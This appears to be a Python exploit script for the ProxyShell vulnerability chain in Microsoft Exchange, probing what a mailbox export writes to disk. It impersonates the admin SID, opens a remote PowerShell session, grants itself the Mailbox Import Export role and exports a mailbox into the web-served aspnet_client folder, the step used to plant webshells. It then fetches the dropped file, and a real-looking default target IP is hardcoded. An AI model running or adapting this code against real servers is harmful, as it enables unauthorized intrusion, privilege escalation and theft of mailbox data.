#!/usr/bin/env python3
# Probe: what does New-MailboxExportRequest actually write? (format check)
import sys, time, random, re
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

ip = sys.argv[1] if len(sys.argv) > 1 else '179.1.102.69'
ps = P.ProxyShell(f"https://{ip}", timeout=15)
print("fqdn:", ps.get_fqdn()); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)

def run(script):
    out, err = P.wsman_shell(script, port)
    return [str(o) for o in out], [str(e) for e in err]

name = "probe_" + P.rand_string(6) + ".txt"
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
# ensure share/role
try:
    print("roleassign:", run('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email))
except Exception as e:
    print("roleassign err", e)
time.sleep(2)
try:
    run('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false')
except Exception as e:
    print("cleanup err", e)
cmd = 'New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Inbox#") -ExcludeDumpster -FilePath "%s"' % (ps.email, unc)
print("export cmd:", cmd)
try:
    print("export:", run(cmd))
except Exception as e:
    print("export err", e)
url = f"https://{ip}/aspnet_client/{name}"
for i in range(8):
    time.sleep(5)
    try:
        r = requests.get(url, verify=False, timeout=15)
        print(f"poll {i} code={r.status_code} len={len(r.content)}")
        if r.status_code == 200 and r.content:
            print("first 300 bytes hex:", r.content[:300].hex())
            print("first 300 bytes repr:", repr(r.content[:300]))
            break
    except Exception as e:
        print("poll err", e)
try:
    run('Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false')
except Exception:
    pass
